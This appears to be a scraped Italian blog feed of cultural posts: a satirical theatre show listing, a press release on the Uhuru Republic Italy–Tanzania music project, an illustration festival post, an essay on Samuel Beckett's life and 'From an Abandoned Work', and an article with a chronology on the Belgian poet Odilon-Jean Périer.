Il Provincialotto diventerà l’ennesimo formatore di cui nessuno sentiva il bisogno ma che, con la sua lucida semplicità, porterà a galla le contraddizioni e gli eccessi di questo mondo. Le 4 P, i capisaldi del marketing cioè prodotto, posizionamento, prezzo, promozione, faranno da guida in questo viaggio nel fenomeno contemporaneo dei guru digitali ed in una personalissima visione del marketing 3.0. Un’ora di spettacolo (de)formativo ispirato al modello del Ted-Talk: tutto quello che non c’è da sapere sul marketing, sulle Marche e sulle marchette.
CON Piero Massimo Macchini – REGIA Priscilla Alessandrini – FOTO Luna e Alia – GRAFICA Adriano Brando Alessandrini – OCCHIO ESTERNO Raffaele Niccià, Giulia Morici, Cristiano Virgili, Michele Gallucci, Gianluca Marinangeli, Cristiana Caucci, Andrea Niccià, FabbrikaKreativa – SCENOGRAFIA Lagrù Scenografie – COSTUMI Piero Massimo Macchini – DISEGNO LUCI RS Project – VIDEO Video eMMe
BIGLIETTERIA 🎟️
Singolo Ingresso: €10
Ridotto (sotto ai 14 anni): €5
INFO e prenotazioni: 3287756579
0 notes
Text
UN PONTE CULTURALE TRA GENOVA E L’AFRICA: ESCE “SLOMO”, SINGOLO D’ESORDIO DI UHURU REPUBLIC
Il singolo anticipa l’uscita del primo album, pubblicato e distribuito da La Tempesta Sur. Quindici brani nati dalla sinergia tra musicisti africani, genovesi e torinesi: Giulia Passera (voce, Mangaboo, The Sweet Life Society, Istituto Italiano di Cumbia, Sonoristan), FiloQ (elettronica, Istituto Italiano di Cumbia, Magellano) e Raffaele Rebaudengo (viola, Gnu Quartet e ora in tour con Ermal Meta) con il patrocinio dell’Ambasciata italiana a Dar Es Salaam. Al Jazz:Re:Found Festival di Cellamonte (AL) l’esordio live italiano
Torino – Un viaggio nel profondo delle tradizioni musicali, con l’obiettivo di creare un ponte culturale tra Europa e Africa. Uhuru Republic è un caleidoscopio di personalità e competenze, una serie di artisti italiani di primo piano attivi tra Genova e Torino, e partiti per la Tanzania grazie al sostegno di Roberto Mengoni e dell’Ambasciata italiana a Dar Es Salaam con un obiettivo: fondere le due culture artistiche in un unico linguaggio universale, scrivendo un disco e suonando in una tournée tra Italia e Africa. A maggio è uscito “Slomo”, singolo che anticipa l’uscita dell’album d’esordio e il tour di Uhuru Republic, che comincia venerdì 21 giugno al Jazz:Re:Found Festival di Cellamonte (AL) e che prosegue tra Italia, Kenya, Zimbabwe e Tanzania. A formare il team italiano di Uhuru Republic sono Giulia Passera (voce, Mangaboo, The Sweet Life Society, Istituto Italiano di Cumbia, Sonoristan), FiloQ (elettronica, Istituto Italiano di Cumbia, Magellano) e Raffaele Rebaudengo (viola, Gnu Quartet). Il disco di Uhuru Republic, post prodotto in Italia al termine del viaggio in Tanzania, sarà pubblicato e distribuito dall’etichetta La Tempesta Sur (Italia).
«Dopo aver composto una serie di beats – raccontano gli Uhuru Republic – e dopo averli inviati ai musicisti africani coinvolti, siamo partiti per la Tanzania. È stato un mese incredibile: abbiamo conosciuto decine di artisti, portavoce di tradizioni tanto lontane quanto vicine». Il termine “Uhuru”, che dà il nome al progetto, indica la cima del Kilimangiaro ma soprattutto significa, in Swahili (lingua nazionale della Tanzania), libertà e conoscenza. «Da questo ventaglio di culture – proseguono – è nato un collettivo, mentre dai quei quindici beats sono nati quindici brani che saranno raccolti nel primo disco del collettivo, registrato a Dar Es Salaam e a Zanzibar. Il nostro primo singolo “Slomo” è un assaggio dei sound unici raccolti durante il nostro viaggio». In estate gli Uhuru Republic presentano il progetto in Italia (al Jazz:Re:Found Festival il 21 giugno, alla Cantina Urbana di Milano il 18 luglio e al Banano Tsunami l’8 agosto), performando insieme al musicista keniano Makadem (voce, nyatiti, kalimbas). «Tra agosto e settembre – concludono – torneremo in Tanzania, dove cercheremo di consolidare e ampliare le collaborazioni già avviate tramite un workshop di digital recording presso la DCMA a Zanzibar e l’organizzazione di una serie di performances: 24/08 Ongala Music Festival Bagamoyo, 31/08 Nafasi Art Space Dar Es Salaam, 06/09 DCMA Stone Town Zanzibar, 02/09 Red Monkey Lodge, 13/09 Kendwa Rocks Zanzibar, 14/09 Upendo Zanzibar».
IL VIAGGIO DI UHURU REPUBBLIC
Il progetto nasce dalla collaborazione tra l’ambasciatore italiano in Tanzania Roberto Mengoni e il team italiano di Uhuru Republic, composto da Giulia Passera (voce, Mangaboo, The Sweet Life Society, Istituto Italiano di Cumbia, Sonoristan), FiloQ (elettronica, Magellano, Istituto Italiano di Cumbia) e Raffaele Rebaudengo (viola, Gnu Quartet). I quattro artisti compongono quindici beats con la collaborazione di Teo Marchese (batterista di Ghemon – Le forze del bene) e Lorenzo Bitw (produttore elettronico) che sono stati poi inviati ai musicisti africani coinvolti, che hanno così iniziato a comporre e a intrecciare i linguaggi e a definire la direzione artistica del collettivo.
Dal 10 al 19 ottobre 2018, il team italiano si stabilisce a Dar Es Salaam, città più grande e popolosa della Tanzania. Quì svolge un percorso di formazione al Nafasi Art Space, centro culturale interdisciplinare fulcro della scena artistica tanzaniana, coinvolgendo due danzatori della compagnia Muda Africa e sei musicisti tanzaniani. Il 21 ottobre il collettivo si esibisce al National Museum di Dar Es Salaam portando in scena uno spettacolo interdisciplinare che spazia dalla danza alla musica, passando, tra danza, musica e immagini del regista e documentarista Simone Pecorari (Uovoquadrato, Explore Love Protect). Dal 22 al 27 ottobre, il team si trasferisce a Zanzibar, svolgendo anche qui un percorso di formazione presso la Dhow Countries Music Academy a Stone Town, grande accademia di musica condotta da una direttrice italiana Alessia Lombardo, coinvolgono cinque musicisti locali e Makadem dal Kenya. Dal 27 al 29 ottobre il collettivo si esibisce a Zanzibar in una breve tournée che ha come fulcro il Red Monkey Lodge e la Crazy Monday Jam Session, importante contenitore e generatore di collaborazioni fra musicisti locali ed internazionali sull’isola ideato da Mark Dieler, punto di riferimento sul continente africano. Tutte le azioni del collettivo sono state seguite e documentate da Elvin Betti, responsabile tecnico di Alessio Bertallot, che ha raccolto materiale audio e video per la rubrica dedicata al progetto, che verrà condivisa su tutte le piattaforme di Casa Bertallot e di Uhuru Republic nel 2019.
LE DATE DEL TOUR DI UHURU REPUBLIC
21 giugno 2019: Jazz:Re:Found Festival, Cellamonte Monferrato (provincia di Alessandria, Italia)
18 luglio 2019: Cantina Urbana, Milano (Italia)
7 agosto 2019: Banano Tsunami, Genova (Italia)
9 agosto 2019: Terreni Creativi, Albenga (provincia di Savona, Italia)
22 agosto 2019: Nafasi Art Space, Dar Es Salaam (Tanzania)
23/24 agosto 2019: Ongala Music Festival, Bagamoyo (Tanzania)
31 agosto 2019: Nafasi Art Space, Dar Es Salaam (Tanzania)
3/5 settembre 2019: Dcma, Stone Town Zanzibar (Tanzania)
5 settembre 2019: Forodhani Garden, Stone Town Zanzibar (Tanzania)
6 settembre 2019: Distant Relatives, Kilifi (Kenya)
7 settembre 2019: Diamond, Lamu (Kenya)
11 settembre 2019: Alliace Française, Nairobi (Kenya)
13 settembre 2019: Rise, Nairobi (Kenya)
14 settembre 2019: Kendwa Rocks, Kendra Zanzibar (Tanzania)
15 settembre 2019: Upendo, Zanzibar (Tanzania)
16 settembre 2019: Crazy Monday, Jambiani Zanzibar (Tanzania)
17 settembre 2019: Zuri, Zanzibar (Tanzania)
FORMAZIONE ED ETICA DEL LAVORO
Durante i periodi di formazione svolti in Tanzania si sono tenute lezioni sul copyright, sulla proprietà intellettuale delle opere artistiche e sull’etica del lavoro, predisponendo anche la burocrazia necessaria a un’equa condivisione dei diritti d’autore di tutte le composizioni con tutti gli artisti coinvolti. Il periodo di formazione è stato coperto da una diaria per tutti i musicisti locali, al fine di agevolare gli spostamenti giornalieri e di coprire le spese dei pasti. È inoltre stato stabilito un cachet per ogni performance, da corrispondere a tutti i musicisti locali coinvolti, al fine di trasmettere loro il valore della professionalità etica. Il percorso di formazione è terminato con due giornate in studio di registrazione (una a Dar Es Salaam e una a Zanzibar), durante le quali sono state registrate tutte le parti musicali del disco.
IMMAGINARIO GRAFICO E VISIVO
Lo street artist e artista visivo Nicola Alessandrini e l’illustratrice Lisa Gelli, autori della grande opera di street art ‘Specie Migranti’, hanno realizzato la copertina del primo singolo di Uhuru Republic e svilupperanno l’immaginario visivo del progetto seguendo il team italiano in Tanzania ad agosto 2019. I due artisti svolgeranno un workshop di arti visive, serigrafia e pittura presso il Nafasi Art Space coinvolgendo una serie di artisti locali. Estenderanno la fusione dei linguaggi al mondo delle arti visive e parteciperanno ad alcune delle performances del collettivo con un live painting.
ENTI, ASSOCIAZIONI E ARTISTI COINVOLTI
Ambasciata italiana a Dar Es Salaam e Roberto Mengoni (Ministero degli affari esteri), La Tempesta Sur (etichetta musicale italiana), Dhow Countries Music Academy (scuola di musica), Nafasi Art Space (centro culturale), Casa Bertallot (web radio / fm radio), Giulia Passera (voce, vocal coach), Raffaele Rebaudengo (viola, insegnante di musica), Filippo Quaglia (sound designer), Mark Dieter (Red Monkey Lodge Zanzibar, booking – logistic manager), Anna Benzo (social media manager), Vanessa Tamburi (coreografa), Uovoquadrato (video maker, documentaristi), Explore Love Protect (piattaforma media), Muda Africa (compagnia / scuola di danza), Panamusiq (management musicale Tanzania), Africori (etichetta musicale africana), Clouds Radio / Tv (emittente Tanzaniana), TRYPHON EVARIST voice / percussions (DCMA), NIMA AMER KOMBO voice (DCMA), PILI AMEIR KOMBO voice (DCMA), MAHSIN BASALAMA qanun (DCMA), MARLEEN voice, HERI MUZIKI voice, KAUZENI LYAMBA flutes / percussions, DBASS qanun, MSAFIRI ZAWOSE voice / percussions / tze tze / irimba, MAKADEM voice / nyatiti, TEO MARCHESE drums / percussions / electronics, LORENZO BITW electronics, KIRUNDO INTERNATIONAL band, ELVIN BETTI media partner, ALESSIO BERTALLOT media partner, SAMWEL JAPHET and MUSSA SELEMANI (Muda Africa dance company).
Uhuru Republic
“Slomo“
(lyrics: Giulia Passera, Heri Mwakitalima, Mary Chrizostom Rutta – music: Raffaele Rebaudengo, Filippo Quaglia, Mbwana Mtulia, Kauzeni Lyamba)
Credits
Marleen: vocal
Giulia Passera: vocal
D-Bass: qanun
Kauzeni Lyamba: percussions
Raffaele Rebaudengo: viola
FiloQ: programming & synths
Recorded @ Nafasi Art Space (Dar Es Salam)
Mix: FiloQ @ Balena Studio (Genova)
Mastering: Mattia Cominotto @ GreenFog Studio (Genova)
Supported by the Italian embassy in Dar Es Salaam
ArtWork
Nicola Alessandrini + Lisa Gelli
SPECIE MIGRANTI #05
2018, Sansepolcro, Arezzo
in collaborazione con Caserma Archeologica
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Cooperativa Battelieri del Porto di Genova
NetParade.it
Quezzi.it
AlfaRecovery.com
Comuni-italiani.it
Il Secolo XIX
CentroRicambiCucine.it
Contatti
Stefano Brizzante
Impianti Elettrici
Informatica Servizi
Edilizia
Il Secolo XIX
MusicforPeace Che Festival
MusicforPeace Programma 29 maggio
Programma eventi Genova Celebra Colombo
Genova Celebra Colombo
UN PONTE CULTURALE TRA GENOVA E L’AFRICA: ESCE “SLOMO”, SINGOLO D’ESORDIO DI UHURU REPUBLIC UN PONTE CULTURALE TRA GENOVA E L'AFRICA: ESCE "SLOMO", SINGOLO D'ESORDIO DI UHURU REPUBLIC Il singolo anticipa l'uscita del primo album, pubblicato e distribuito da La Tempesta Sur.
0 notes
Photo
✱✱ Il Ratatà 2017 N.4 , festival di illustrazione , fumetto ed editoria indipendente , si avvicina sempre di più 📌 Con la combo Gruppo Trekking/Ratatà , Ratatà e #Stranedizioni , alcune delle migliori produzioni handmade e serigrafate in Italia le trovate a #Bari da #Spine. Una selezione di autoproduzioni ,in diverse dimensioni e tecniche,di autori come Igor Hofbauer, Andy Leuerberger,Nicola Alessandrini, Lorenzo Bartolucci, Marie Cecile, Hernan Chavar, Silvia Luciani, Lisa Gelli, Francesco Giustozzi, Valentina Marchionni, Marco Filicio Marinangeli, Tommy “Gun” Moretti, Claudia Palmarucci, Michele Rocchetti, Marisa Ventura https://www.facebook.com/trekkingeatingdreaming/ http://www.stranedizioni.org/ http://www.ratatafestival.com/ #handmade #silkscreen #100% #Spine #Bari #editoria #fumetti #autoproduzioni #serigrafia #Spinebookstore #Ratatà #Macerata #gruppoTrekking #Stranedizioni #libri #illustrazione (presso SPINE Temporary Small Press Bookstore)
#serigrafia#stranedizioni#bari#spinebookstore#gruppotrekking#illustrazione#silkscreen#macerata#spine#editoria#100#autoproduzioni#ratatà#fumetti#libri#handmade
0 notes
Text
Scopri la Pagina Instagram di Pier Carlo Lava: Cultura, Fotografia e Impegno su Alessandria Today
Per leggere l'articolo su Instagram link in Bio: Segui Pier Carlo Lava su Instagram per rimanere aggiornato su cultura, arte, letteratura e fotografia, con contenuti unici e di valore per la comunità di Alessandria.
Per leggere l’articolo su Instagram link in Bio: Segui Pier Carlo Lava su Instagram per rimanere aggiornato su cultura, arte, letteratura e fotografia, con contenuti unici e di valore per la comunità di Alessandria. Pier Carlo Lava è una figura ben nota nel panorama culturale di Alessandria, e la sua pagina Instagram @piercarlolava è un’estensione del suo impegno costante nel promuovere la…
#Alessandria today#arte su Instagram#autori alessandrini#autori emergenti#Blog culturale#blogger di Alessandria#blogger italiani#collaborazioni culturali#comunità culturale#contenuti letterari#Cultura Alessandria#Cultura italiana#cultura su Instagram#eventi culturali Alessandria#Eventi Locali#fotografi italiani#fotografia di eventi#Fotografia urbana#influencer alessandrini#influencer culturali#Instagram e cultura#Instagram fotografia#Instagram Pier Carlo Lava#letteratura italiana#Marco Brunetti#Pier Carlo Lava#Pier Carlo Lava Instagram#Presentazione libri#promozione autori emergenti#promozione culturale
0 notes
Text
“Mai amato nessuno. Eccetto che in sogno, ed erano bestie, le bestie dei sogni”. Speleologia dentro Samuel Beckett
Lo sketch ha qualcosa di liturgico – di kafkiano. Samuel Beckett bamboleggia tra Proust – sui cui nel 1931 pubblica un celebra saggio –, Joyce, di cui diventa esegeta e segretario – screditando le attenzioni della di lui figlia, la furibonda Lucia – e Dante (del 1932 è il racconto Dante and the Lobster). Cerca una via sicura nella letteratura – sta allestendo la raccolta More Picks Than Kicks –, ha da poco compiuto 27 anni, gli muore il padre. “Eravamo tutti con lui. Quando è finita, lui era molto bello. Ho temuto che mia madre crollasse, ma è stata ed è meravigliosa. Ora la casa è molto vuota e muta”. La morte muta i vivi, dona splendore ai morti. Poi scrive, all’amico Thomas McGreevy, è il 2 luglio 1933, “Aveva sessantun anni compiuti, ma sembrava più giovane, e lo era. Ha scherzato e imprecato contro i medici finché ha avuto fiato. Era a letto con la faccia coperta di piselli odorosi, giurando e spergiurando che una volta guarito non avrebbe fatto più un bel niente. Sarebbe salito con la macchina fino in cima a Howth e si sarebbe sdraiato tra le felci a scoreggiare. Le sue ultime parole sono state «Combatti combatti combatti» e «Che mattina»”. Dopo lo sketch, la rivelazione: “Non posso scrivere di lui. Posso solo seguirlo a piedi tra i campi e oltre i fossati”. Ecco, il carisma dell’opera di Beckett: inseguire i morti, a piedi – anche a quattro zampe se è il caso – tra i campi, al di là dei fossati, al di là di ogni al di là.
*
La morte del padre in ogni caso è sempre l’episodio determinante. Come il primo assalto, l’offesa, la ferita, il duello improvviso. Nel 1929 Beckett conosce Suzanne Déchevaux-Dumesnil. Più grande di sei anni, severa, di sinistra, pianista. S’incontrano, definitivamente, nove anni dopo – dopo che lui, con silenziosa malizia, si fa preda dell’estro di Peggy Guggenheim. Beckett è preso d’assalto, per strada, di notte, il 6 gennaio 1938, a Parigi, da uno sconosciuto. Questi i fatti secondo il “The Irish Times”. “Mr Beckett, aggredito e ferito vicino al cuore, è stato portato in ospedale in gravi condizioni… Mr Beckett stava accompagnando a casa alcuni amici quando è stato infastidito da un senzatetto. All’invito ad andarsene, il barbone avrebbe dato un calcio a Mr Beckett e ci sarebbe stata una colluttazione. Quando Mr Beckett è entrato nell’appartamento del suo amico, si è aperto il soprabito e ha trovato del sangue che gli colava da una ferita”. Secondo altre fonti, non si trattava di un barbone: quello che gli ha appioppato una coltellata è un “pappone”. All’amico Thomas, il 12 gennaio, SB scrive: “La pleura è stata lesa, ma a quanto pare il polmone no. Prima ero in corsia, poi Joyce mi ha fatto spostare in una stanza singola. Sono stati tutti quanti di una gentilezza incredibile. Sono venuti mia madre, Frank e Jean. Fin dall’inizio ho pregato chiunque di fermarli. Sembra però che la cosa si sia risaputa al volo in tutta Dublino e sia stata orribilmente esagerata”. Joyce in ospedale con Beckett ferito al costato – scena teatrale. Al capezzale di SB c’è Suzanne. Non lo mollerà più. Sarà la sua compagna per la vita. Muore prima lei, il 17 luglio del 1989. Lui la segue, qualche mese dopo, il 22 dicembre. Dalla ferita inferta con il coltello, cola lo spirito del padre, Beckett comincia una nuova vita. Quell’anno, due mesi esatti dopo l’assalto, esce Murphy.
*
Il desiderio dell’ultima parola non per vezzo, ma in virtù di deserto: spianare il gergo perché un altro lo coltivi. Beckett – perfino fisicamente: un ragazzo che eccelle nello sport, e poi, drasticamente, un uomo minato, corroso dai mali – s’incarica della tradizione, gesticola verbi, fino al punto dove non c’è distanza tra fiore e clangore, tra pietra e bacio, tra piantare e sradicare. In uno dei suoi libri più ispirati, passato in Italia come Rovinare le sacre verità (Garzanti, 1992), Harold Bloom riconosce in Beckett “il più forte degli autori in occidente, l’ultimo sopravvissuto di una sequela che comprende Proust, Kafka e Joyce”. Agli occhi di Bloom, in estasi gnostica, il mondo di Beckett postula che siano uno Creazione e Caduta. “Basilide o Valentino, eresiarchi alessandrini, avrebbero subito riconosciuto il mondo della trilogia o delle commedie più importanti: Aspettando Godot, Fine di partita, L’ultimo nastro di Krapp. È il mondo dominato dagli Arconti, il kenoma, il non-luogo di vuoto. La spiritualità enigmatica s’impegna nella ricerca (benché sporadica) di un vuoto che sia una pienezza, dell’abisso o pleroma che gli gnostici chiamavano sia antenato che antenata. Possiamo parlare di gnosticismo naturale piuttosto che rivelato nel caso di Beckett”.
*
L’idea che Beckett sia maestro degli gnostici del II secolo mi affascina, lo ammetto, d’altronde la letteratura è nel senza tempo e i primi destinatari di ogni scritto sono i morti. Eppure, la pulizia di Beckett – che si esercita in groviglio verbale – è sapienza che ricavo in Giobbe: “Egli è flagello, uccide in un momento: ma si beffa della prova degl’innocenti… se egli ruina la cosa non può essere riedificata… toglie il senno a’ capi de’ popoli della terra, e gli fa andar vagando per luoghi diserti, ove non ha via alcuna. Vanno attentone per la tenebra, senza luce alcuna” (cito brandelli di Giobbe dalla traduzione, che mi sbilancia all’ode, di Giovanni Diodati). Deserto, cioè: diserzione dal letterario. Andare a tentoni, tentennando, nella pece del giorno, nella tenebra.
*
Al TeatroBasilica in Roma, spazio scenico benedetto topograficamente dal sacro – sta sotto la Scala Santa, in San Giovanni in Laterano – nella selva di fine febbraio, andrà in scena un lavoro su Beckett. Il regista Marco Carniti mi introduce in Beckett. A volte soffochi: come in una foresta di betulle, ti sembra di capire che l’anima è un osso, che il corpo è patto in parole, parolaio – e tu, è inevitabile, il frainteso.
*
Di Beckett amo From an Abandoned Work. Il tentativo, dopo la trilogia, di tornare al romanzo. L’opera si arena, nel 1955, e diventa l’apice dell’abbandono – e questo abbandono, l’opera che abbandona lo scrittore, questa faglia di marmo su cui è abbozzato un viso, ti schiaccia. L’opera è pubblica nel 1958 – io l’ho nella traduzione Einaudi di Valerio Fantinel e Guido Neri, in Teste-morte. Quell’anno Beckett conosce Barbara Brey, vedova, due figli, 34 anni, lavoro in BBC. Sarà l’altra compagna per la vita. Suzanne – che sposa, in segreto, nel 1961 – è la moglie glaciale; Barbara, che si trasferisce a Parigi per essergli più vicino proprio nell’anno in cui SB si sposa, è il corpo, la confidente, la collaboratrice. “Era la sola persona con cui Beckett condividesse regolarmente gli esiti del suo lavoro. In ogni caso, lei si scherniva, ‘Non ho avuto alcuna influenza sulla natura della sua opera. Egli era unico, certo di sé, di quello che voleva dire’… La Bray fu tentata di scrivere un libro sulla sua relazione con Beckett, durata fino alla morte del grande drammaturgo: desistette. Diceva che erano insopportabili e superficiali i racconti che le donne facevano dei loro amori… Le 713 lettere che Beckett le ha scritto sono custodite al Trinity College di Dublino (lui ha distrutto tutta la sua corrispondenza)”, ha scritto Andrew Todd, celebrando la morte di Barbara, “traduttrice, critica, editor e compagna di Beckett”, accaduta nel marzo del 2010.
*
Da un’opera abbandonata è un delirio, il deambulare verbale di un uomo che cerca i morti, che cerca il padre – “Ho ucciso io mio padre?”, “Ho mai ucciso qualcuno?”. Il verbo di Amleto sembra fondersi con quello del profeta Daniele: “una voce sognante continuamente bisbiglia intorno, che è qualcosa, la voce che una volta era sulle tue labbra”. L’uomo, che parla in prima persona, è ossessionato dal bianco, tutto è bianco ai suoi occhi, un cavallo, “mia madre bianca alla finestra” – “Il bianco, devo dire che il bianco mi ha sempre fatto una grande impressione, tutte le cose bianche, lenzuola, pareti e così via, anche i fiori, ma solo il bianco, l’idea del bianco e nient’altro” –, forse quest’uomo marcia nel limbo, il bianco lembo di nulla tra questo e l’altro mondo, è nel tonfo, nel mezzo, tra i vivi e i morti. La ricerca, screziando gli assurdi, è sapienziale: occorre il verbo che faccia apparire i morti, la parola che scombini la morte in vita. Il testo va letto sinotticamente al capitolo 42 di Moby Dick, che Melville dedica alla “Bianchezza della Balena”.
*
Quel bianco, in Beckett, è una chiesa – sei tu, ora, a dover tracciare l’icona, quella che ti mangerà, appena terminata l’opera.
*
La descrizione della fine come un luogo nel crisma del corpo: “Finito, finito, c’è un morbido angolo del mio cuore per tutto ciò che è finito, no, per tutto il finire, mi piace la parola, le parole sono state il mio solo amore, non molte d’altronde”. Se le cose esistesse, il potere della parola sarebbe irrisorio – la parola, questo brandire bramiti, coltiva l’assenza, evoca, ricama assonanze, fa risorgere l’assente, ammazza appena nomina. “Anche l’amore, spesso nei miei pensieri, da ragazzo in nulla simile agli altri ragazzi, non mi faceva dormire, trovavo. Mai amato nessuno, dovrei aggiungere. Eccetto che in sogno, ed erano bestie, le bestie dei sogni, nulla a che vedere con quelle che s’incontrano in campagna. Non potrei descriverle. Creature affascinanti, bianche il più delle volte”.
*
Ecco come ha amato Beckett. Scavando – aveva viso d’aquila, d’altronde. Fino al cupo bianco dove di noi non resta che lo sfinito, l’animale che fummo. (d.b.)
L'articolo “Mai amato nessuno. Eccetto che in sogno, ed erano bestie, le bestie dei sogni”. Speleologia dentro Samuel Beckett proviene da Pangea.
from pangea.news https://ift.tt/2TgF5vW
1 note
·
View note
Text
“Tutti avevano visto degli angeli…”. Su Odilon-Jean Périer, il poeta che ha ispirato “Il cielo sopra Berlino” (ma che nessuno si azzarda a citare)
Infine apparvero gli Stranieri.
Se ne parlava appena, in modo vago. Tutti avevano visto degli angeli, ma nessuno credeva agli occhi del suo vicino.
Chi li aveva incontrati, guarito un giorno con l’altro, parlava di poesia, di amore, – di libertà. […]
I più forti o più saggi tra gli uomini, cui nulla era rivelato, per un po’ si fecero beffe di queste visioni. Ma presto toccati dalla grazia, li si vide darsi alla caccia, con gli occhi spalancati sul loro cielo vuoto, a cercare degli dèi con tutto il loro cuore.
Erano consumati dal desiderio, si mordevano i pugni di filosofi e si passavano una mano tremante sulle celebri teste calve.
Tutte le ragazze avevano già il loro angelo, amico intimo. Quei prìncipi volavano come in sogno, senza sforzo alcuno, con attitudine rispettosa. Abbracciando la loro graziosa preda, andavano a sedersi sugli alberi. Ogni ippocastano ospitava svariate coppie d’ali. Il movimento del vento tra le foglie si mescolava al rumore dei baci. I filosofi gironzolavano sotto quegli alberi.
Molti vi morirono, stecchiti come cicale, dopo una canzoncina. Perché la morte faceva di loro dei poeti, e infine si lamentavano quanto più melodiosamente possibile.
Appollaiati sui rami odorosi, gli angeli e le fanciulle, unendo le loro dita leggere, ascoltavano agonizzare sotto la loro ombra rinfrescante quei vecchi signori, non senza un’ammaliante malinconia.
***
Gli “Stranieri” di cui scrive Odilon-Jean Périer sono degli angeli discesi un bel giorno sulla città dello scrittore, Bruxelles, nei suoi parchi, nelle sue strade, sui tetti e nei bar – a osservare la vita quotidiana degli esseri umani – a contemplare da vicino le loro passioni e azioni – fino a voler diventare carnali come loro e viverle.
Una scena già vista da qualche parte? Forse sullo schermo cinematografico? Forse in un film di un regista tedesco? I due sceneggiatori de Il cielo sopra Berlino non ne hanno mai parlato ma forse le pagine de Il passaggio degli angeli ne sono davvero lo spunto, l’“ur-testo” del capolavoro girato pochi anni prima del Mauerfall.
Ora che l’austriaco Peter Handke, che scrisse a quattro mani il film di Wim Wenders, ha vinto il Premio Nobel, e che si celebrano i trent’anni dalla riunificazione della città tedesca e quindi delle due Germanie, è bene ricordare chi fu lo scrittore bruxellois.
Fumatore di pipa, amante delle parole e del design, a sua volta disegnatore, mai avvocato a dispetto della laurea in diritto, flâneur innamorato delle strade, dei parchi, degli alberi, della natura, del silenzio, della libertà, della bellezza, “Odilon-Jean Périer aveva il viso allungato, una fronte larga, i capelli tirati all’indietro. Portava degli occhiali tondi, delle giacche di tweed e dei fazzoletti chiari nel taschino. Amava il tennis, il golf e pure la boxe”, e sin da bambino aveva riempito i suoi quaderni di poesie, sempre in cerca della bellezza. Périer visse appena ventisette anni scarsi, e già in una poesia de Le Citadin faceva eco a un verso de La terra desolata di Eliot: “Non canterò troppo forte né troppo a lungo”.
Il frammento di traduzione de Il passaggio degli angeli e la cronologia biografica di Odilon-Jéan Périer sono qui riprodotti per gentile concessione de La Finestra Editrice di Lavis (Trento) che nel 2018 ha pubblicato l’unico romanzo dello scrittore vallone.
***
“Cronologia della vita e arte di Odilon-Jean Périer”
1901 – Jean Périer nasce il 9 marzo 1901 a Bruxelles da Jeanne Thys, figlia di un generale pioniere del Congo belga, e di Gaston-Frédéric Périer, amministratore di società.
1911 – Attorno ai dieci anni comincia a scrivere poesie. Nel corso dei suoi studi fonda numerose riviste (che avranno tutte la breve vita di un solo numero): La Lyre du potache, Hermès e Le Cénacle (il quale è anche il nome di un circolo letterario la cui sede è nella casa paterna al 50 di rue Defacqz). Da ragazzino s’inventerà anche un Gioco dei Paesi nel quale crea e distribuisce dei paesi simbolici di cui bisogna instaurare il governo e inventare la letteratura, viverne e scriverne la storia.
1912 – La madre, molto amata dal poeta, pubblica una raccolta di novelle, Pendant qu’on dort, dedicata ai suoi due figli, il minore dei quali, Gilbert, è nato un anno dopo Jean.
1918 – Fonda Le Cénacle e scrive, sulla falsariga di Jules Renard, un Petit Éssai de psychologie végétale, oltre a una raccolta di poemi in versi liberi che intitola La Route de sable.
1919 – S’iscrive alla facoltà di Diritto dell’Université Libre di Bruxelles, dove si laureerà senza mai praticare, e dà inizio a una collaborazione biennale con la rivista La Patrie belge, che pubblica tre sue opere, Ariane-des-eaux, Hermès-des-oliviers e Orphée-des-vignes.
1920 – Su ispirazione di autori come Apollinaire e Cendrars e del cubismo scrive il lungo poema Le combat de la neige et du poète e una raccolta di poesie, La Vertu par le chant.
1921 – Termina la sua collaborazione con La Patrie belge e inizia quella col Mercure de France e con Signaux de France et de Belgique. Nel corso degli anni collaborerà anche con La Reinaissance d’Occident e Le Disque vert, con Echantillons, gli Écrits du Nord e la Nouvelle Revue Française. In quel di Parigi ha modo di conoscere gli scrittori francesi Jacques Rivière, Jean Supervielle e Jean Paulhan. Comincia la composizione di un altro volume di poesie, Notre Mère la ville, edito l’anno seguente.
1922 – Durante il servizio militare nel campo di Berverloo, dove conosce Eric de Haulleville, è colpito da angina e reumatismi articolari, che segnano tutto il resto della sua vita.
1923 – Scrive una commedia, Le Grand homme et l’autre e inizia un periodo di tre anni nel corso del quale si divide tra Bruxelles, Le Zoute e Parigi, dove frequenta Pauhlan.
1924 – Dà alle stampe il poema Le Citadin, ou Éloge de Bruxelles una cui nota in apertura annuncia che l’autore rinnega ogni singola cosa che ha pubblicato precedentemente.
1925 – Crea un gioco di carte da lui disegnate, À tous hasards, e compone i nove poemi che costituiscono L’Amour en habit noir e che confluiranno poi nella raccolta Le Promeneur. Al teatro del Marais di Bruxelles viene messa in scena la seconda commedia del poeta, On s’amuse comme on peut, ou Les Indifférents.
1926 – Viaggio a Parigi e Roma. Il 2 settembre si sposa con Laure Féron. Viaggio di nozze in Italia. Pubblica con Gallimard il suo primo e unico romanzo, Le Passage des anges.
1927 – Pubblica con le edizioni della Nouvelle Revue Française la raccolta di poemi Le Promeneur, con un autoritratto di suo stesso pugno. Fonda con l’amico Robert De Geynst la rivista Livrets, sul cui primo numero scrivono: “Prendiamo partito per lo spirito di piacere e di scoperta, contro l’irrequietezza e la noia”. Su domanda dello stesso Gaston Gallimard propone una serie di opere, tra le quali La Maison de verre, la commedia Octave e una tragedia in alessandrini, Pierre, ou Les Bûchérons.
1928 – Comincia la collaborazione con la rivista Échantillons. Il 22 febbraio muore a causa di una pericardite reumatica, senza conoscere suo figlio Olivier, che nascerà solo qualche giorno piú tardi. Lo stesso giorno esce il Deuxième livret. Il 1° aprile sulle pagine della Nouvelle Revue Française viene pubblicata l’ultima poesia che l’autore ha portato a termine, La maison de verre. Il 15 maggio la rivista Variétés pubblica un frammento del prologo del dramma Vous êtes condamné à mort, ancora inedito.
1937 – Viene edito dalle Éditions des Artistes di Bruxelles il volume Les poèmes d’Odilon-Jean Périer, con sei litografie originali di Albert Crommelynck, nel quale è raccolta l’opera completa dello scrittore a esclusione de Le combat de la neige et du poète, che verrà reintegrata tre lustri dopo assieme a un poema inedito, Le corps fermé comme une jeune rose…, nella nuova edizione Gallimard.
1949 – Georges Vitaly mette in scena la commedia Les Indifférents presso il Théâtre Royal du Parc di Bruxelles in concomitanza con l’inaugurazione della fontana dedicata al poeta in fondo ad avenue Louise, al cui numero 268 egli visse dopo il matrimonio.
